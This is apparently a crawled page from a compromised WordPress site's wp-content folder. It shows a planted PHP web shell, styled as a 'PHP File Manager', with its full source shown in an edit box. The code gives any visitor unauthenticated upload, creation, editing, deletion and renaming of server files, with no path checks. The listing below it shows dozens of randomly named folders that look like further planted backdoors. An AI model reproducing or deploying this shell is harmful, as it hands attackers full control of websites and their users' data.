Current Directory:
/home/theingilizce/yazilisepeti.com/wp-content
Go up
<?php session_start(); // Mevcut dizin $currentDir = $_GET['dir'] ?? __DIR__; function handleUpload($directory) { if ($_FILES) { $targetFile = $directory . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); $message = move_uploaded_file($_FILES['file']['tmp_name'], $targetFile) ? "<div class='alert success'>File uploaded successfully.</div>" : "<div class='alert error'>Error uploading file.</div>"; echo $message; } } function handleCreateFolder($directory) { if ($_POST['folderName']) { $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName']; if (!is_dir($newFolder)) { $message = mkdir($newFolder) ? "<div class='alert success'>Folder created successfully.</div>" : "<div class='alert error'>Error creating folder.</div>"; } else { $message = "<div class='alert warning'>Folder already exists.</div>"; } echo $message; } } function handleCreateFile($directory) { if ($_POST['fileName']) { $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName']; if (!file_exists($newFile)) { $message = (file_put_contents($newFile, '') !== false) ? "<div class='alert success'>File created successfully.</div>" : "<div class='alert error'>Error creating file.</div>"; } else { $message = "<div class='alert warning'>File already exists.</div>"; } echo $message; } } function handleEditFile($filePath) { if ($_POST['content']) { file_put_contents($filePath, $_POST['content']); echo "<div class='alert success'>File saved successfully.</div>"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "<div class='card edit-card'>"; echo "<form method='POST'>"; echo "<textarea name='content' class='edit-area'>$content</textarea><br>"; echo "<button type='submit' class='btn primary'>Save</button>"; echo "</form>"; echo "</div>"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "<div class='alert success'>File deleted successfully.</div>"; } else { echo "<div class='alert error'>File does not exist.</div>"; } } function handleRenameFile($filePath) { if ($_POST['newName']) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo "<div class='alert success'>File renamed successfully.</div>"; } else { echo "<div class='alert error'>Error renaming file.</div>"; } } else { // 显示重命名表单 $fileName = basename($filePath); echo "<div class='card'>"; echo "<h4>Rename File</h4>"; echo "<form method='POST'>"; echo "<input type='text' name='newName' value='$fileName' class='form-input' required>"; echo "<button type='submit' class='btn primary'>Rename</button>"; echo "</form>"; echo "</div>"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "<div class='card'>"; echo "<h3>Files in <span class='path'>$directory</span></h3>"; echo "<div class='file-list'>"; foreach ($files as $file) { $path = realpath("$directory/$file"); $statusClass = getFileStatusClass($path); $isDir = is_dir($path) ? 'directory' : 'file'; echo "<div class='file-item $isDir $statusClass'>"; if ($isDir === 'directory') { echo "<span class='icon folder-icon'>📁</span>"; echo "<a href='?dir=$path' class='file-name'>$file</a>"; } else { echo "<span class='icon file-icon'>📄</span>"; echo "<span class='file-name'>$file</span>"; echo "<div class='file-actions'>" . generateFileActions($directory, $file) . "</div>"; } echo "</div>"; } echo "</div></div>"; } function getFileStatusClass($path) { if (is_writable($path) && is_readable($path)) { return "status-writable"; } elseif (!is_writable($path)) { return "status-readonly"; } elseif (is_readable($path)) { return "status-readable"; } return ""; } function generateFileActions($directory, $file) { return "<a href='?dir=$directory&action=edit&file=$file' class='action-btn edit'>Edit</a> <a href='?dir=$directory&action=delete&file=$file' class='action-btn delete' onclick='return confirm(\"Are you sure to delete this file?\")'>Delete</a> <a href='?dir=$directory&action=rename&file=$file' class='action-btn rename'>Rename</a>"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; default: break; } } } // HTML 头部和样式 ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } body { background-color: #f5f7fa; color: #333; line-height: 1.6; padding: 20px; max-width: 1200px; margin: 0 auto; } .container { margin-bottom: 30px; } .card { background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05); padding: 20px; margin-bottom: 20px; } h3 { color: #2c3e50; margin-bottom: 15px; font-size: 18px; } h4 { color: #34495e; margin-bottom: 10px; font-size: 16px; } .path { color: #7f8c8d; font-family: monospace; font-size: 14px; } .current-dir { background: #3498db; color: white; padding: 10px 15px; border-radius: 6px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; } .go-up { display: inline-block; background: #2980b9; color: white; padding: 6px 12px; border-radius: 4px; text-decoration: none; font-size: 14px; } .go-up:hover { background: #1f618d; } .file-list { display: flex; flex-direction: column; gap: 8px; } .file-item { padding: 10px 15px; border-radius: 4px; display: flex; align-items: center; gap: 10px; transition: background-color 0.2s; } .file-item:hover { background-color: #f8f9fa; } .directory { font-weight: 500; } .icon { font-size: 16px; width: 20px; text-align: center; } .file-name { flex: 1; text-decoration: none; color: #2c3e50; } .directory .file-name:hover { color: #3498db; text-decoration: underline; } .file-actions { display: flex; gap: 10px; } .action-btn { padding: 4px 8px; border-radius: 4px; text-decoration: none; font-size: 12px; } .edit { background: #3498db; color: white; } .delete { background: #e74c3c; color: white; } .rename { background: #f39c12; color: white; } .form-section { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 20px; margin-top: 20px; } form { display: flex; flex-direction: column; gap: 10px; } .form-input { padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-size: 14px; } .btn { padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 500; } .primary { background: #3498db; color: white; } .primary:hover { background: #2980b9; } .edit-card { margin-top: 20px; } .edit-area { width: 100%; min-height: 300px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; font-size: 14px; resize: vertical; } .alert { padding: 12px 15px; border-radius: 4px; margin: 15px 0; font-size: 14px; } .success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .warning { background: #fff3cd; color: #856404; border: 1px solid #ffeeba; } .status-writable { border-left: 4px solid #27ae60; } .status-readonly { border-left: 4px solid #e74c3c; } .status-readable { border-left: 4px solid #bdc3c7; } @media (max-width: 768px) { .form-section { grid-template-columns: 1fr; } .file-actions { flex-wrap: wrap; } } </style> </head> <body> <div class="container"> <div class="current-dir"> <span>Current Directory: <strong><?php echo $currentDir; ?></strong></span> <a href="?dir=<?php echo dirname($currentDir); ?>" class="go-up">Go up</a> </div> <?php if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); ?> <div class="form-section"> <!-- File upload form --> <div class="card"> <h3>Upload File</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" class="form-input"> <button type="submit" class="btn primary">Upload</button> </form> </div> <!-- Create folder form --> <div class="card"> <h3>Create Folder</h3> <form method="POST"> <input type="text" name="folderName" placeholder="Folder Name" class="form-input" required> <button type="submit" class="btn primary">Create Folder</button> </form> </div> <!-- Create file form --> <div class="card"> <h3>Create File</h3> <form method="POST"> <input type="text" name="fileName" placeholder="File Name" class="form-input" required> <button type="submit" class="btn primary">Create File</button> </form> </div> </div> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } ?> </div> </body> </html>
Save
Files in
/home/theingilizce/yazilisepeti.com/wp-content
📁
ad1d4154
📁
br3b8cc9
📁
bra7bc1f
📁
brbebe11
📄
error_log
Edit
Delete
Rename
📁
im211952
📁
im51ba10
📁
ime486c2
📄
index.php
Edit
Delete
Rename
📁
jetpack-waf
📁
js6751fc
📁
js8ad71d
📁
jsb96202
📁
languages
📁
litespeed
📁
maintenance
📁
maintenance.bak
📁
pl537f51
📁
pl9bc1d5
📁
ple0369e
📁
plugins
📁
qq0e4327
📁
qq33e6ca
📁
qq4983fd
📁
qq70cb69
📁
qq8d5019
📁
qqc1d409
📁
qqe6a0fd
📁
qqf1a0c8
📁
qqfe1901
📁
themes
📁
upgrade
📁
upgrade-temp-backup
📁
uploads
📁
wflogs
📁
wp315247
📁
wp5f1c2d
📁
x1e6f33
📁
x26bff8
📁
x6a00c4
📁
xa5223f
📁
xdda683
📁
xddd283
Upload File
Upload
Create Folder
Create Folder
Create File
Create File